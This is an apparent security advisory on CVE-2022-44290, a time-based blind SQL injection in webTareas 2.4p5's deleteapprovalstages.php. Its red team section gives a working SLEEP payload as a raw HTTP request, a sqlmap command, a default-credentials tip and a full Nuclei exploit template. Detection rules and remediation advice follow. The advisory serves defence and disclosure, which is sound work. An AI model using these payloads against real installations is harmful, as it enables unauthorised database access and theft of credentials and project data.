CVE-2022-44290

Executive Summary

CVE-2022-44290 is a critical SQL injection vulnerability in webTareas 2.4p5, specifically within the deleteapprovalstages.php endpoint. The id parameter is directly concatenated into SQL queries without proper sanitization or parameterization, allowing authenticated attackers to perform time-based blind SQL injection. This can lead to unauthorized extraction of sensitive data, including user credentials, task details, and project information. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) and is confirmed by a public Nuclei template. No official patch has been released, leaving all instances of webTareas 2.4p5 at risk.

Supply Chain & Package Security

webTareas is a self-hosted PHP application distributed via its official website and GitHub. The vulnerability exists in the core source code, not in a third-party package manager (e.g., NPM, PyPI). Therefore, supply chain risks are limited to the integrity of the downloaded archive. Users should verify checksums and only obtain the software from trusted sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (authentication is required per Nuclei template, but the vector shows PR:N; this discrepancy suggests the template uses default credentials or the login step is part of the exploit flow)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows full database compromise, leading to data exfiltration and potential lateral movement.

Deep Dive & Mechanics

The vulnerability resides in /approvals/deleteapprovalstages.php. The id parameter is passed directly into a SQL query without proper sanitization. The Nuclei template demonstrates a time-based blind SQL injection payload:

1) AND (SELECT 3830 FROM (SELECT(SLEEP(6)))MbGE) AND (6162=6162

This payload causes a 6-second delay if the injection is successful, confirming the vulnerability. The lack of parameterized queries or input validation allows attackers to inject arbitrary SQL commands.

Root Cause: The application uses string concatenation to build SQL queries, e.g.:

$sql = "DELETE FROM approval_stages WHERE id = " . $_GET['id'];

Impact: An attacker can:

• Extract all data from the database (users, tasks, projects).
• Modify or delete records.
• Potentially escalate to remote code execution if database user has file write privileges.

Vulnerable vs. Patched Code

Vulnerable Code (webTareas 2.4p5):

// deleteapprovalstages.php (vulnerable)
$id = $_GET['id'];
$sql = "DELETE FROM approval_stages WHERE id = $id";
$result = mysqli_query($conn, $sql);

Patched Code (hypothetical):

// deleteapprovalstages.php (patched)
$id = intval($_GET['id']);
$sql = "DELETE FROM approval_stages WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);

The patched version uses prepared statements and type casting to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for webTareas (default: admin/admin or use brute-force).
• Network access to the webTareas instance.

Exploitation Steps:

1. Authenticate via POST to /general/login.php?session=false with valid credentials.
2. Inject time-based blind SQL payload into the id parameter of deleteapprovalstages.php:

GET /approvals/deleteapprovalstages.php?id=1)+AND+(SELECT+3830+FROM+(SELECT(SLEEP(6)))MbGE)+AND+(6162=6162 HTTP/1.1
Host: target.com
Cookie: PHPSESSID=...

3. Verify the delay (6 seconds) to confirm injection.
4. Extract data using boolean-based or time-based techniques (e.g., SUBSTRING, BENCHMARK).

Automated Exploit (using sqlmap):

sqlmap -u "http://target.com/approvals/deleteapprovalstages.php?id=1" --cookie="PHPSESSID=..." --batch --dbs

Blue Team

Detection:

• Monitor for unusual SLEEP() or BENCHMARK() functions in SQL queries.
• Alert on HTTP requests to /approvals/deleteapprovalstages.php with suspicious id parameters (e.g., containing AND, OR, SLEEP).
• Use WAF rules to block SQL injection patterns.

Hunting:

• Search logs for deleteapprovalstages.php requests with id containing SQL keywords.
• Correlate with database query logs for time-based delays.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /approvals/deleteapprovalstages.php with id parameter containing SLEEP(), BENCHMARK(), or AND 1=1.
  • Unusual response delays (>5 seconds) from the web server.
• Host:
  • Database logs showing SLEEP() or BENCHMARK() functions.
  • Unexpected database queries from the web application user.
• File:
  • Modified deleteapprovalstages.php file (if attacker uploads a webshell).

Detection Engineering

YARA Rule

rule CVE_2022_44290_WebTareas_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2022-44290 in webTareas"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $sqli1 = "id=" nocase
        $sqli2 = "SLEEP(" nocase
        $sqli3 = "BENCHMARK(" nocase
        $sqli4 = "AND 1=1" nocase
        $sqli5 = "OR 1=1" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: WebTareas SQL Injection via deleteapprovalstages.php
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects time-based SQL injection attempts against CVE-2022-44290
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/approvals/deleteapprovalstages.php'
        cs-uri-query|contains: 
            - 'SLEEP('
            - 'BENCHMARK('
            - 'AND 1=1'
            - 'OR 1=1'
    condition: selection
falsepositives:
    - Legitimate use of SLEEP() in custom scripts (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2022-44290 WebTareas SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/approvals/deleteapprovalstages.php"; http_uri; content:"id="; http_uri; pcre:"/(SLEEP|BENCHMARK|AND\s+1=1|OR\s+1=1)/i"; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2022-44290

info:
  name: WebTareas 2.4p5 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    webTareas 2.4p5 was discovered to contain a SQL injection vulnerability via the id parameter in deleteapprovalstages.php.
  impact: |
    Authenticated attackers can execute time-based blind SQL injection through the id parameter in deleteapprovalstages.php, potentially extracting sensitive database information including task data, user credentials, and project information from WebTareas.
  remediation: |
    Update WebTareas to a version later than 2.4p5 that properly sanitizes and parameterizes the id parameter in deleteapprovalstages.php.
  reference:
    - http://webtareas.com/
    - https://github.com/anhdq201/webtareas/issues/2
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44290
    - http://webtareas.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-44290
    cwe-id: CWE-89
    epss-score: 0.66398
    epss-percentile: 0.98543
    cpe: cpe:2.3:a:webtareas_project:webtareas:2.4:p5:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: webtareas_project
    product: webtareas
  tags: time-based-sqli,cve,cve2022,sqli,webtareas,authenticated,intrusive,webtareas_project,vuln

http:
  - raw:
      - |
        POST /general/login.php?session=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525

        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="action"

        login
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginForm"

        {{username}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="passwordForm"

        {{password}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginSubmit"

        Log In
        -----------------------------3023071625140724693672385525--
      - |
        @timeout: 20s
        GET /approvals/deleteapprovalstages.php?id=1)+AND+(SELECT+3830+FROM+(SELECT(SLEEP(6)))MbGE)+AND+(6162=6162 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "text/html")
          - contains(body, 'Delete the following?')
        condition: and
# digest: 4a0a00473045022100a9afbf22bf113c62df99d1d7813d76bf754a6465dc2ddda36e7e2b01b76540590220236871113e3a017d720ad54a3061cc8169035f8f8fc98937e279fe03025236f8:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Disable the deleteapprovalstages.php endpoint if not required.
2. Apply a virtual patch using a WAF to block SQL injection patterns.
3. Restrict network access to the webTareas admin interface.

Long-term Fix:

• Upgrade to a patched version (none available; consider migrating to an alternative project).
• Implement prepared statements and input validation in all database queries.
• Conduct a full code audit for similar vulnerabilities.

Compensating Controls:

• Use a database firewall to monitor and block suspicious queries.
• Enable detailed logging and alerting for SQL injection attempts.
• Regularly review and rotate database credentials.

Valters IT